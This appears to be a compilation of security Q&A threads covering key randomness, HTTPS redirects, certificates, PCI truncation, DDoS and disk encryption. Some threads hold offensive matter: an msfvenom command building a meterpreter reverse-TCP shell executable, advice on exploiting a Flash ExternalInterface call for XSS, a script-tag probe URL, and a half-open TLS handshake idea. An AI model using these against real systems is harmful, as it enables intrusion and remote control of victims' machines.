Using computer random number generators to produce keys, it is secure? Does generating an encryption key using the random number generator on one's computer present a security risk? If so how might that risk be mitigated, specifically when generating RSA key pairs in .Net?

Using computer random number generators to produce keys, it is secure?

It depends on your threat environment, exposure, and overall system security. Given the difficulty in implementing robust secure systems, and assuming that the thing you are protecting is not of high value (to others), using your own computer to generate random numbers is likely ok. However, if the threat to your system is high, your exposure is great, and or the thing you are protecting is high value, then no, using computer generated random numbers is insecure.

  Does generating an encryption key using the random number generator on one's computer
  present a security risk?

Yes, but it may not be a significant enough risk to do anything about it. See the next part of the answer.

  If so how might that risk be mitigated, specifically when generating RSA
  key pairs in .Net?

In RSA encryption the private key and the public key are mathematically related. Random numbers are needed in order to generate the private-public key pair. If an attacker had the random numbers used to generate the key pair and the public key, they could easily find the private key.

Microsoft's .Net framework provides RNGCryptoServiceProvide for random number generation. All software based random number generators are actually pseudo-random number generators. Meaning that they are not truly random, but they produce output in a way that makes the output appear random.

All software is deterministic. Meaning that for a given set of inputs the output can be determined exactly. This is bad for prng (pseudo-random number generators), because they would produce predictible output. i.e. The output would not even be pseudo-random. To get past this limitation, prng need seed random data to get them started.

By giving the prng function a little random data to start with it can generate lots of pseudo-random numbers. There are many methods to generate random seed data: using the time the function was called, reading a block of uninitialized memory, using the time average time between keyboard presses, the position of your mouse, etc. Generally the data used to generate the random seed it not perfectly random either.

If an attacker knew the algorithm used to produce the random numbers, and the seed data, they may be able to reduce the possible outputs of the prng and used the reduced set out output to easily find your private key.

I do not know what rpng algorithm is used by RNGCryptoServiceProvide, so I can not speak to it's effectiveness.

To mitigate risk due to random number generation, you can use true hardware based random number generators. Hardware based random number generators do not require a seed, becausee instead of an algorithm they use a physical process to generate their data. Certain physical processes have random or near-random characteristics: decay of a radio active particle, therman noise, race conditions in transistors, etc. The output of the hardware based random number generators will be statistically more random then the numbers generated by your computer. Additionally, no value available on your computer is used to generate the output. However, many hardware random number generators are expensive, and slow.

So, would the cost in money and speed be worth the investment?

It depends on what you are protecting, and how sophisticated and determined your attackers may be.

Note: some computer chipsets now include hardware random number generators.


Is URL visible by ISP before HTTP request is 301 redirected to HTTPS? Let's say I enter http://domain.com/...  as a URL. The domain.com server performs a 301 redirect of all HTTP requests to the HTTPS version, so it shows me https://domain.com/....

Can my ISP see the whole URL (not just domain name) that I entered with HTTP when I made the request (if they are monitoring traffic)?

Yes.

This is the reason that SslStrip works. (Okay, one of the reasons.)

HTTP is in the clear. So the 301 is in the clear as well. Anyone who's listening with e.g. Wireshark will be able to see this. (Try for yourself on the same host. It's easy.)


Should you label networking equipment? is this a security risk? Should you label networking equipment? is this a security risk? if we label all the networking devices within our company with its host names are we potentially giving away info that we should not?

Thoughts?

The usual is to label but not with the company or host names. Instead:

For police identification, use tagging with an "If found contact xxx phone number" message. Various physical security service companies can provide these as part of their support contract.
For asset management, use a naming convention which allows you to identify cables, devices and other items, but that doesn't provide an attacker with obvious clues to identify key devices or networks, for example "HO2FFIN4" rather than Head Office 2nd Floor Finance Team Internal Network 4


Flash Objects SWF security (ExternalInterface.call) I am performing a penetration test against a website that uses Flash.

I found this piece of code:

url = ExternalInterface.call("window.document.location.href.toString") as String;

How it can be exploited?

I tried to exploit it as XSS via submitting a payload after the #:

.swf?id=blabla#payloadhere

but nothing. Since I am not really good with Actionscript can anybody help?

The ExternalInferface.call() is designed for invoking javascript, so this function as written effectively gives you the opportunity to invoke arbitrary javascript in the execution context of the website, which is already a serious security hole.

http://help.adobe.com/en_US/AS2LCR/Flash_10.0/help.html?content=00001039.html

How specifically to exploit it?  There's a ton of web sites about javascript security holes, you just have to insert one and invoke it in the execution context of the web site.


MSFvenom payload with dynamic options I am using MSFvenom to export meterpreter's reverse TCP payload. While this works with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.6.131 LPORT=4444 -f -exe > ~/Desktop/shell_meterpreter.exe, however I would like to specify the LHOST and LPORT in a dynamic fashion.

Ideally, I would pass in the arguments directly to the executable file. For example, in Command Prompt running shell_meterpreter.exe -LHOST 192.168.6.100 -LPORT 1111.

Does anyone know of a way to achieve this? I have tried looking into the source code but didn't find much luck there.

msfvenom -p windows/x64/meterpreter/reverse_tcp **LHOST=192.168.x.x** LPORT=4444 -f -exe

You're using msfvenom here to generate code to attain a reverse shell on the target, you aren't passing the attacking machine's ip to it once it's generated or in your case, compiled as an executable if that makes sense.


Storing last 6 digits of payment card vs 4 digits I am wondering what are the risks associated with storing last 6 digits of a payment card as compared to the last 4 digits. In addition, will it have implications on PCI DSS compliance?

By point 3.4 of the PCI DSS guidelines, truncation is

  generally not to exceed the first six and last four digits

, but specifically depends on whether it would become feasible to regenerate the full card number - for example, by using a hash of the same card number as a test to generate possible missing digits. Storing the first and last six digits would reduce a 19 digit card number to 7 redacted digits, which would be trivial to brute force if a hash was also provided. There is a specific note about this situation:

  Note: It is a relatively trivial effort for a malicious individual to
  reconstruct original PAN data if they have access to both the
  truncated and hashed version of a PAN. Where hashed and truncated
  versions of the same PAN are present in an entity’s environment,
  additional controls must be in place to ensure that the hashed and
  truncated versions cannot be correlated to reconstruct the original
  PAN.

Furthermore, by point 3.3:

  the first six and last four digits are the maximum number of digits to
  be displayed

In order to get an answer for your specific system, you'd need to get advice from a QSA - it's not impossible that you would be allowed to store six digits, but it would be advisable not to, and only a QSA would be able to sign off on the decision.


If a site includes the header 'HTTP Content-Security-Policy require-sri-for' then does this include all nested scripts? If I'm using subresource integrity on a web page and a script that I import then itself imports a further script, will the CSP 'require-sri-for' also include those subsequent, nested, imported scripts?

For example, if a .js file is pulled in by the main web page and it includes reference to a further .js file, the top level file's hash won't change if the URL of the further .js file doesn't change but the code at that URL has. So the top level file will pass its SRI check even though that script is then pulling in an unchecked script.

Or does CSP 'require-sri-for' checking get inherited by the scripts that are then loaded and so own down the import chain (if there is one)?

No, it does not mean that. This header tells the browser to enforce SRI check on every single script you have on the page.

If you use:

Content-Security-Policy: require-sri-for script

You must add the integrity attribute of every script you use:

<script src="https://some.code.com/example1.js"
    integrity="sha256-5i/mQ...yXWA="></script>

<script src="https://some.code.com/example2.js"></script>

So if you don't use integrity attribute on any script, it won't load. So example2.js above will not be loaded.


Remove X509v3 extensions from PEM file? I have a self-signed certificate that was created using makecert on Windows. Now this certificate has to be used by a new application; this new app is using openssl in the background for certificate validation.
The problem I have is that if I type this command:

openssl.exe verify sts-token-signing.pem

I have this result:

error 20 at 0 depth lookup:unable to get local issuer certificate

Whereas the result I am expecting is this one (I get this answer with another makecert certificate):

error 18 at 0 depth lookup:self signed certificate
OK

If I print the details of the cert using openssl.exe x509 -text -noout -in sts-token-signing.pem, I have:

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            40:c1:c8:1e:65:b0:25:8d:4a:86:a1:4a:dc:0a:ea:5b
    Signature Algorithm: sha1WithRSAEncryption
        Issuer: CN=sts.example.com - Token Signing
        Validity
            Not Before: Feb  2 08:24:46 2015 GMT
            Not After : Jan 30 08:24:46 2020 GMT
        Subject: CN=sts.example.com - Token Signing
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (2048 bit)
                Modulus:
                    hexdata
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Extended Key Usage:
                TLS Web Server Authentication, TLS Web Client Authentication, Code Signing
            X509v3 Subject Key Identifier:
                65:0E:B9:FB:1D:A6:EF:37:94:BA:43:4D:55:D2:9D:6D:1C:C6:87:ED
            X509v3 Key Usage: critical
                Key Encipherment
    Signature Algorithm: sha1WithRSAEncryption
         hexdata

As you can see, the "Issuer" and "Subject" are the same. So it is self-signed. My guess is that some of the extensions are not valid from openssl point of view.

Does anyone know how I could make openssl accept this certificate?
Another idea, is it possible to remove some X509v3 extensions from the PEM file if
I don't have the private key?

(I don't care about the extensions actually, all I need is to give a PEM file to an application, so this app can validate signatures based on the public key contained in the file)

If you're just using the cert for the public key, why bother calling validate?  If you want to know that the file isn't corrupt, it isn't... or you would have gotten a much different error.

The validate algorithm is upset that you have a Key Usage extension which does not specify the certificate signing usage.  In future revisions of the certificate, either add the certificate signing usage, or omit the Key Usage extension altogether.

If you were to edit the certificate to remove the extension then the signature wouldn't work for the public key, so the certificate would be self-issued, but not self-signed... which means there must be a parent certificate somewhere.  So it doesn't really solve any problems for you.  The effective answer is "no, you need the private key to re-issue a self-signed cert".

Experiment data:

ss_badku.cer

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 2818056532535039313 (0x271bbf7c52b85551)
    Signature Algorithm: sha256WithRSAEncryption
        Issuer: CN=Experiment
        Validity
            Not Before: Jan 26 15:00:55 2018 GMT
            Not After : Jan 26 16:00:55 2028 GMT
        Subject: CN=Experiment
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (512 bit)
                Modulus:
                    00:9b:6a:6e:37:39:84:57:04:53:34:64:3e:73:f0:
                    76:c1:9d:04:e5:81:37:02:cc:6d:02:f7:5d:38:3a:
                    2e:b0:5f:5b:42:ad:67:52:cc:88:95:46:92:50:b7:
                    30:6b:c5:c6:36:e3:8c:48:24:6a:1c:5a:dd:92:1a:
                    25:44:c8:61:13
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Extended Key Usage:
                TLS Web Server Authentication, TLS Web Client Authentication, Code Signing
            X509v3 Subject Key Identifier:
                5F:59:83:8E:FB:D3:13:BD:70:5F:E9:38:C3:A3:D9:49:F6:F4:BD:31
            X509v3 Key Usage: critical
                Key Encipherment
    Signature Algorithm: sha256WithRSAEncryption
         95:49:6c:90:bb:87:92:54:ba:c9:1b:a6:98:7a:9e:29:15:b7:
         b0:c7:75:fa:e2:66:4c:79:74:71:69:e3:17:cf:dc:6f:90:a2:
         f4:f1:7f:51:cd:7c:14:ed:6f:7d:32:55:55:41:8d:91:d2:31:
         2d:76:b0:6c:3f:76:6e:41:40:61
-----BEGIN CERTIFICATE-----
MIIBfDCCASagAwIBAgIIJxu/fFK4VVEwDQYJKoZIhvcNAQELBQAwFTETMBEGA1UE
AxMKRXhwZXJpbWVudDAeFw0xODAxMjYxNTAwNTVaFw0yODAxMjYxNjAwNTVaMBUx
EzARBgNVBAMTCkV4cGVyaW1lbnQwXDANBgkqhkiG9w0BAQEFAANLADBIAkEAm2pu
NzmEVwRTNGQ+c/B2wZ0E5YE3AsxtAvddODousF9bQq1nUsyIlUaSULcwa8XGNuOM
SCRqHFrdkholRMhhEwIDAQABo1owWDAnBgNVHSUEIDAeBggrBgEFBQcDAQYIKwYB
BQUHAwIGCCsGAQUFBwMDMB0GA1UdDgQWBBRfWYOO+9MTvXBf6TjDo9lJ9vS9MTAO
BgNVHQ8BAf8EBAMCBSAwDQYJKoZIhvcNAQELBQADQQCVSWyQu4eSVLrJG6aYep4p
Fbewx3X64mZMeXRxaeMXz9xvkKL08X9RzXwU7W99MlVVQY2R0jEtdrBsP3ZuQUBh
-----END CERTIFICATE-----

ss_noku.cer

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 10026821066004793515 (0x8b266ca2999e88ab)
    Signature Algorithm: sha256WithRSAEncryption
        Issuer: CN=Experiment
        Validity
            Not Before: Jan 26 15:00:55 2018 GMT
            Not After : Jan 26 16:00:55 2028 GMT
        Subject: CN=Experiment
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (512 bit)
                Modulus:
                    00:9b:6a:6e:37:39:84:57:04:53:34:64:3e:73:f0:
                    76:c1:9d:04:e5:81:37:02:cc:6d:02:f7:5d:38:3a:
                    2e:b0:5f:5b:42:ad:67:52:cc:88:95:46:92:50:b7:
                    30:6b:c5:c6:36:e3:8c:48:24:6a:1c:5a:dd:92:1a:
                    25:44:c8:61:13
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Extended Key Usage:
                TLS Web Server Authentication, TLS Web Client Authentication, Code Signing
            X509v3 Subject Key Identifier:
                5F:59:83:8E:FB:D3:13:BD:70:5F:E9:38:C3:A3:D9:49:F6:F4:BD:31
    Signature Algorithm: sha256WithRSAEncryption
         72:a1:23:a0:00:c1:e0:dc:9a:11:21:4b:57:aa:42:49:c5:ae:
         05:e7:97:43:71:75:2d:33:b2:9f:96:4c:45:4d:80:91:51:5a:
         6f:bb:f3:03:67:10:f9:ac:f8:d5:00:b5:4b:85:10:2e:d7:45:
         d2:8f:e1:2e:0b:98:dd:e3:3e:fb
-----BEGIN CERTIFICATE-----
MIIBbTCCARegAwIBAgIJAIsmbKKZnoirMA0GCSqGSIb3DQEBCwUAMBUxEzARBgNV
BAMTCkV4cGVyaW1lbnQwHhcNMTgwMTI2MTUwMDU1WhcNMjgwMTI2MTYwMDU1WjAV
MRMwEQYDVQQDEwpFeHBlcmltZW50MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJtq
bjc5hFcEUzRkPnPwdsGdBOWBNwLMbQL3XTg6LrBfW0KtZ1LMiJVGklC3MGvFxjbj
jEgkahxa3ZIaJUTIYRMCAwEAAaNKMEgwJwYDVR0lBCAwHgYIKwYBBQUHAwEGCCsG
AQUFBwMCBggrBgEFBQcDAzAdBgNVHQ4EFgQUX1mDjvvTE71wX+k4w6PZSfb0vTEw
DQYJKoZIhvcNAQELBQADQQByoSOgAMHg3JoRIUtXqkJJxa4F55dDcXUtM7KflkxF
TYCRUVpvu/MDZxD5rPjVALVLhRAu10XSj+EuC5jd4z77
-----END CERTIFICATE-----

ss_ku.cer

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 14221161353214574683 (0xc55bb6e75fde405b)
    Signature Algorithm: sha256WithRSAEncryption
        Issuer: CN=Experiment
        Validity
            Not Before: Jan 26 15:00:55 2018 GMT
            Not After : Jan 26 16:00:55 2028 GMT
        Subject: CN=Experiment
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (512 bit)
                Modulus:
                    00:9b:6a:6e:37:39:84:57:04:53:34:64:3e:73:f0:
                    76:c1:9d:04:e5:81:37:02:cc:6d:02:f7:5d:38:3a:
                    2e:b0:5f:5b:42:ad:67:52:cc:88:95:46:92:50:b7:
                    30:6b:c5:c6:36:e3:8c:48:24:6a:1c:5a:dd:92:1a:
                    25:44:c8:61:13
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Extended Key Usage:
                TLS Web Server Authentication, TLS Web Client Authentication, Code Signing
            X509v3 Subject Key Identifier:
                5F:59:83:8E:FB:D3:13:BD:70:5F:E9:38:C3:A3:D9:49:F6:F4:BD:31
            X509v3 Key Usage: critical
                Key Encipherment, Certificate Sign
    Signature Algorithm: sha256WithRSAEncryption
         5e:eb:47:69:b0:65:c2:c1:d8:ee:85:0d:66:ae:76:96:ab:47:
         bc:dd:ea:2e:c8:f6:bf:1d:c2:1f:d3:e6:f0:ca:1a:80:5d:00:
         7c:a5:cd:2b:0d:b9:b1:31:84:f9:ed:75:72:5a:31:82:ef:c3:
         9e:7e:16:b3:68:aa:89:8a:80:52
-----BEGIN CERTIFICATE-----
MIIBfTCCASegAwIBAgIJAMVbtudf3kBbMA0GCSqGSIb3DQEBCwUAMBUxEzARBgNV
BAMTCkV4cGVyaW1lbnQwHhcNMTgwMTI2MTUwMDU1WhcNMjgwMTI2MTYwMDU1WjAV
MRMwEQYDVQQDEwpFeHBlcmltZW50MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJtq
bjc5hFcEUzRkPnPwdsGdBOWBNwLMbQL3XTg6LrBfW0KtZ1LMiJVGklC3MGvFxjbj
jEgkahxa3ZIaJUTIYRMCAwEAAaNaMFgwJwYDVR0lBCAwHgYIKwYBBQUHAwEGCCsG
AQUFBwMCBggrBgEFBQcDAzAdBgNVHQ4EFgQUX1mDjvvTE71wX+k4w6PZSfb0vTEw
DgYDVR0PAQH/BAQDAgIkMA0GCSqGSIb3DQEBCwUAA0EAXutHabBlwsHY7oUNZq52
lqtHvN3qLsj2vx3CH9Pm8MoagF0AfKXNKw25sTGE+e11cloxgu/Dnn4Ws2iqiYqA
Ug==
-----END CERTIFICATE-----

And the execution:

$ openssl verify ss_badku.cer ss_noku.cer ss_ku.cer
ss_badku.cer: CN = Experiment
error 20 at 0 depth lookup:unable to get local issuer certificate
ss_noku.cer: CN = Experiment
error 18 at 0 depth lookup:self signed certificate
OK
ss_ku.cer: CN = Experiment
error 18 at 0 depth lookup:self signed certificate
OK


Patching session fixation issue on Apache server I recently ran a Nessus scan on my network, and one of the issues that it revealed is a possible avenue for cookie injection (session fixation) through Javascript. The related Nessus issue can be found here:

https://www.tenable.com/plugins/nessus/44135

Is the only solution to update the Apache server package? Or is there some configuration option I can change? Because we are currently locked in to a specific distribution and version of our OS and cannot update to a newer version of Apache.

I should add that I don't have very much experience dealing with security, and I was just tasked with patching issues found in the Nessus scan.

While the official remediation recommendation from Nessus (as you like know) is to explore patching, it is likely a generic piece of advice. I would agree that there is merit in the suggestion by symcbean that the web server (Apache in your case) is potentially not the root cause, rather the code that it is serving.

There are some useful resources for identifying and employing counter measures against session fixation. The solution may require involving the development team if it is indeed the code at fault.

Lastly, consider framing the vulnerability with the assignee from a risk management perspective. The vulnerability was given a base score of 4.8/10 (Medium) severity on the Common Vulnerability Scoring System (v2). There is more to risk than the CVSS score, and further exploration is required in verifying. However, for some organizations, this falls within their risk tolerance threshold meaning they will accept the risk. In other words, they are willing to accept its impact. If it is not palatable to have code modified or rewritten, or to update the distro in order to patch the server, accepting the risk may be one consideration.


Can the intended recipient be derived from a public-key encrypted ciphertext? Assuming you have a list of possible recipients' public keys, and a ciphertext encrypted with one of those public keys, would it be possible to determine which public key?

It depends on a lot of things.

Let's consider a message encrypted by OpenPGP, the most used encryption standard.  By default, it includes in plain text a field containing the key ID the message has been encrypted to.  However, note that the OpenPGP standard allows for this field to be empty i.e. containing a key ID = 0x0.  So the correct answer to your question is "It depends, if you have a ciphertext encrypted with OpenPGP it might be possible to find out the recipients."


Security of RDPs and infected host system I currently use a lot of Remote Desktop Connections and even mRemoteNG and I am curious, do key loggers and other security threats have the ability to see what I type and do on the RDPs? Can they piggy back on the connections?

I am pretty sure that all keys will be logged but should the host machine in some way have a hidden infection does using VMs and RDP really add an additional layer of protection?

Yes, they can "piggy back" on the connections because keystrokes are first handled by the operating system and then sent to the correct Window. VMs and RDP work if you can easily reset the machines to a clean state. The golden rule is then to use your OS from which your run your RDP (or on which your hypervisor runs) only to access these services and for nothing else.


Ebay sniping services - are passwords stored in plaintext? For the uninitiated, eBay sniping services are third-party organisations that people can use to bid on an eBay auction at the last second, obviously this requires the user to provide their eBay account details so the service can login to their account to make the bid.

My question is, would the passwords on these services be stored in plain text? After all, a hashed password stored on the sniper's servers wouldn't be very useful for logging in to a user's eBay account, would it? If not, how would these services store users' eBay credentials securely?

We can't really tell you how specific services implement this functionality.

But we can tell you what is possible:

They store the credentials. This cannot be happening in hashed form, as the plaintext password is required. At most, it is stored in encrypted form, meaning that all passwords will be leaked if an attacker gains access to the key. If you have to enter your ebay password when signing up with the service, you can assume that this case applies. I would strongly suggest not to expose your password to third services.
They use the ebay API [*]. It uses tokens to authenticate a user, so the user doesn't actually enter their password on any third-party sites, but instead, those sites get an access token.

[*] This is speculation. Theoretically, it should be possible to implement sniping functionality via this API - it provides bidding and authentication functionality -, but I did not try to implement it in practice.


Encrypted file system in a hosted linux system I'm considering to use an encrypted file system (dm-crypt or gocryptfs) in a linux system hosted by Linode. Can the administrators of Linode access the mounted (i.e., decrypted) contents? I'm not sure which technology they use to provide a virtual system. But anyway I've installed Arch linux and have a full control on the system. I think they cannot modify the kernel and system softwares provided by Arch. So I think that as long as they don't know my root password, it's very hard to read the mounted contents. Is that true?

No, this would likely not be a safe assumption. Generally speaking, if you are running software on systems outside your own physical control, you must place near full or at least a significant level of trust in whoever does have physical control of the system.

Something that would likely be trivial for a cloud provider is to take a full dump of your virtual system's memory (RAM). Since your VM will be in a decrypted state while it is running, there will likely be decryption keys or other sensitive data that can be extracted from the RAM dump. This may be enough for Linode to decrypt the full contents of the filesystem.

See this related question for further reading.


Open source alternatives to tamper data I'm developing a browser(firefox) plug-in which essentially checks for malicious input. My current approach is to store all input fields sent in GET/POST requests, try to heuristically determine potential attack vectors and drop requests in case true positives are detected.

For data retrieval I've been thinking of implementing the functionality of tamper data. However, I cannot find a similar open source plug-in and developing one from scratch seems rather difficult(the only suggestions I've found refer to standalone proxies such as burpsuite and webscarab).

Any help would be greatly appreciated.

This is a pretty scary thing to be doing, as by definition, you are wanting to look at sensitive, user-submitted data on those computers. Sure, you might catch the occasional wrongdoer, but you're going to be capturing quite a lot of normal people's passwords, emails, etc.

Which is probably opening a whole slew of liability to whoever owns the computer lab.

I'd contact your local legal department for advice here - its most likely better to go down the path of becoming a common carrier, and legally shielded from random user's activities, then it is to try and prevent them. Likewise, your plugin may become the target for a malicious actor, who can skip breaking into websites, and just capture the data from your tool.


How does HTTPS help websites under DoS attacks From time to time one of the websites I browse regularly becomes a victim of a DoS/DDoS attack and usually they solve the problem by switching to https. I cant see the connection between the attack and the defense? TLS encrypts the connection what does this have to do with the number of connections that consume the server's resources?

The only reason switching to HTTPS might help is if the attack is focused on only HTTP. There is no inherent DOS protection in HTTPS. In contrary, you could probably tie up the resources of the server with HTTPS with even less efforts if you start with a minimal SSL handshake so that the server has something to do but never continue with the SSL handshake after the server has sent its response.


How does Cloudflare firewall work? How does Cloudflare web firewall work? When someone tries to enter a website, they first go through the Cloudflare server and then, if a captcha is solved, they can see the content of the website.
So from what I understand it goes like this
User -> Domain -> IP of firewall -> captcha -> IP of website -> loads content

I am new to this security, but I am experiencing a DDoS attack (18 million requests daily from thousands of random IPs) and the only solution is to make something like Cloudflare firewall where a user has to solve a captcha in order to reach the website.
I can't use Cloudflare because the new captcha is impossible to use, they have problems with redirects (it asks to solve a captcha every time it has a redirect) and there is no control over the settings.

No. Cloudflare is a reverse proxy. When a site uses Cloudflare, the client (browser) never connects to the origin server. They can even help you hide the origin server, so an attacker cannot attack it directly.

The client connects to a server in one of ~200 Points Of Presence they have around the world (server farms), the request is processed by the server there (rate limiting, TLS, WAF, page rules, cache, arbitrary JS code, etc.) and if needed, the Cloudflare server connects to the origin server, performs a request, gets a response, transforms the response, caches it locally and serves it to the waiting client. Cloudflare is Man-in-The-Middle-As-A-Service. You give them DNS control, they generate a TLS certificate for your domain and front the domain. It's possible that your origin server sees a tiny fraction of the number of requests served, and this lets a tiny origin server to handle a lot of legitimate traffic, stand up to DDoS attacks, etc.

There are a lot of things you can configure, but that is the general idea. Cloudflare can also do just authoritative DNS server, without being a proxy. They can let you keep your TLS key, for compliance reasons. They are good at explaining how their products work and publishing many details on their blog, so I suggest you read their developer docs (not the marketing material for non technical people).

You can also contact their customer support.


Does a Server connecting to port 3544 pose an increased risk I had look at the firewall logs and i can see my production server connects to microsoft (13.92.90.48) on UDP port 3544. A quick reading suggests this is to do with Teredo tunneling (IPV6 translation tech). Unless I am mistaken this done by Windows server; if so does this OS Service can post data to this port creating a risk of exposing sensitive data on the server?

Should I be dropping these UDP packets at firewall as risk avoidance measure?

Does anyone know whether an outbound call to 13.92.90.48 on port 3544 is a well known action by windows servers (2012 R2 ver for instance)?

Recommendation at:
 https://www.stigviewer.com/stig/windows_7/2013-10-01/finding/V-17449
Is to  block outbound IPv6 UDP 3544 for Windows Servers
Reason:
IPv6 transition technologies, which tunnel packets through other protocols, do not provide visibility. Blocking UDP 3544 with the firewall aids in preventing this.


JSON API response flagged as XSS by vulnerability scanner. Is this a false positive? When a user attempts to access any URL without authentication (including a non-existent URL), my web service returns an HTTP 401 response. This response is JSON encoded, and the body of this response contains the path requested by the user, presumably for diagnostic purposes.
The response also includes the www-authenticate header. If a user visits this URL in the browser, this triggers their browser to ask for credentials.

However, automated scanning tools report that this is an XSS vulnerability. This appears to be because the requested path is included, and if the requested path also happens to be valid JavaScript, this path is returned along with the response. See cURL output below:

curl -i  'https://myservice.example.com/<script>alert(1)</script>'
HTTP/2 401
server: nginx
date: Tue, 19 May 2020 15:02:20 GMT
content-type: application/json;charset=UTF-8
content-length: 167
strict-transport-security: max-age=31536000 ; includeSubDomains
www-authenticate: Basic realm="Spring"

{"timestamp":1589900540080,"status":401,"error":"Unauthorized","message":"Full authentication is required to access this resource","path":"/<script>alert(1)</script>"}%

I think that this is a false positive, as the API response is JSON encoded, as per this question: Reflected XSS via JSON executed with Burp, but how to do it in realistic conditions?

Am I correct?

An XSS vulnerability usually consists of two components: A backend which reflects user-provided strings without filtering them and a frontend which puts that input into a HTML document without filtering it.

So you don't just need to look at what the server does, you also need to look at the application which consumes that JSON response.

Is there a possibility that it will inject the path into a HTML document as-is without escaping any HTML tags in it first? Or that it processes that JSON document not with JSON.parse but with eval which would allow the server to pass exectuable code to it?

If that's the case, then the first priority would be to fix the consuming application. But as part of a defense-in-depth strategy you would also be well-advised from preventing the server from passing strings which contain valid HTML to the client. A good approach is to encode < and > as &lt; and &gt;.

Also make sure that the JSON response doesn't get malformed if the user-provided string contains a ". That might not just be annoying, it could also be abused in some scenarios to confuse the tools which consume the response.


Read encrypted hard-drive after extraction from running computer If someone unplugs  the hard-drive of my laptop while it's running, what contents would they be able to extract from it?

I understand that on login, the image of my hard-drive is mounted, but I'm not exactly sure what effect extracting the hard-drive would have on this "mounting".

If your question is, does mounting an encrypted drive decrypt the entire drive, the answer is no.  Mounting an encrypted drive unlocks the encryption key which is itself encrypted by the mount passphrase.  It then passes the key to the driver so that blocks of the disk can be decrypted when read and encrypted when written.  So, what is decrypted is in memory, not on the disk, and only for files in active use at the moment.

The vulnerability is a weak passphrase.  If someone can seize an encrypted drive and guess or otherwise obtain the passphrase that unlocks the crypto key, then the entire drive can be decrypted just by mounting the drive and copying the files to an un-encrypted drive.

This vulnerability is why Ramona Fricosu is in jail.  (Her husband ratted her out by supplying a list of possible passwords.)


Is this REST service authentication system secure? I have to implement a token based authentication for a RESTful web service. This is the first time I'm implementing security features in a software, and this is what I have in mind for now :

The client first authenticates through a login form(in the client application) with his email and password.
If the authentication succeeds, the user will get in a response a private key(randomly generated) and a token(string - randomly generated ?). The server will store in the db(or maybe a cache ?) a tuple with the following fields (email, private key, hashedToken, token expiration), where hashedToken is the value of the HMAC computed over the token, keyed with the private key.
The client stores the received private key and the token(in memory).
For every future request, the client will include in a custom header (i.e. authToken) the value of the HMAC computed over the token, keyed with the private key and the user's email(in another header) and will replace the token stored in memory with the newly generated token.
When the server receives the request, it checks for the tuple mathcing the email address, checks if the stored token and the received token are equal and if the token hasn't expired.
If it's ok, the server updates the tuple expiration date and the hashedToken field is set to the value of HMAC computed over the old token, keyed with the private key. the server then processes the request.(no additional authentication headers or info included in the response)

Steps 1 and 2 will use HTTPS. Other requests will be sent by HTTP, since a new token is generated after each succesful request(sniffing the token would be useless for an attacker, I think).

I would like to know what are the the problems with this authentication protocol and how it could be improved.

Also, would this approach be faster than just including the email and password in a header in each request and using HTTPS?

The basic answer is: just use HTTPS, and basic authentication. This is much simpler. The overhead of HTTPS is slight:

A couple of extra roundtrips when a new connection is established. But connections are kept alive between client and server, and closed only when unused for too much time, so this should not matter much. Indeed, a pure-HTTPS solution could be faster than your HTTPS/HTTP mix because it could work over a single connection for the whole procedure.
Some network overhead, about 0.2% for bulk data (SSL record header and padding and MAC); again, this will hardly show up on measures, let alone matter.
Some CPU overhead, but much less than usually assumed. A basic CPU core can encrypt and decrypt data at more than 100 MB/s, even without using AES-NI.

If you do want to use HTTP (after an initial HTTPS phase), then you must account for confidentiality and integrity issues. Your HMAC games may help with integrity, but will prevent replay attacks only as long as the server remembers the last "token value" (or hash thereof). This is state and contradicts the point of REST.


Can particular object be detected and extracted from RAM? I was Googling for a while now, and I don't seem to find what I am looking for.

Imagine I have a programm running (for example some random image generator, perhaps captcha) and I have a background process with NO GUI but with Full permission running on the same machine. I want the second process to capture the location of the Image object (assuming I know the object type and maybe even approximate size) and get its contents into a local process variable. Is it possible to do? I know the reading RAM part is possible (Cheat Engine does that easily), but actuall task of detecting an object of certain type which is located in a certain process's memory. Will knowing the variable name help me? Is there a list with addresses of all variables in memory somewhere?

I am just a developer with a security interest, but:

It seems like one way to answer your question is the technique of File / Memory Carving.

Looking through the raw memory or disk for content (such as images or documents etc).

It is a forensics technique, sort of like brute force searching memory for documents.

File Carving - Includes a lot of related terminology

File Carving Tools (start with a memory image)


How relevant is the honeypot technique today? I have been reading about honeypots and different implementation of them, while some articles are recent most of them are old (more than ten years ago) I was wondering if honeypots are still relevant and used in the industry (used by big companies, infosec professionals etc). I may choose the topic for my undergrad paper based on this.

One good way, to find what today's industry is using, it's to track reports as Magic Quadrant.

Magic Quadrant (MQ) refers to a series published by IT consulting firm Gartner of market research reports that rely on proprietary qualitative data analysis methods to demonstrate market trends, such as direction, maturity and participants.
(source)

So, what reports like MQ's saying about deception tools:

Gartner has predicted that now, in 2018, 10 percent of enterprises will already be using deception tools and tactics and actively participate in deception operations against attackers. They were spot-on accurate. (source)
Gartner believes that more lean-forward organizations should also leverage deception in-depth as a new strategy for comprehensive threat defense against the onslaught of advanced attackers and attack techniques. Product managers who help product marketing managers articulate the value of deception in their own products or integrations with other deception products can enhance their attractiveness, especially for larger organizations under constant threat, for example, the financial services, healthcare, government and software verticals.
(source)

To conclude, deception technologies is not only a growing technology, but it's been used by most biggest technology companies around.


Is blurring face secure? I'm wondering how secure is to blur face in my photos? Is there any way to re-focus, or re-blur blurred object?

In short, yes and no. You can't completely remove blur but you can definitely revert some of the changes.

If you have a choice between blurring and blacking/whiting something out, go with the latter. Blurring essentially rounds and moves things around, and with the right algorithm for certain blurs information can be revealed. By adding a layer that can't just be removed, you've removed the possibility of somebody sorting the messed up information.

  Remember, you want to leave your visitors with NO information, not blurred information.

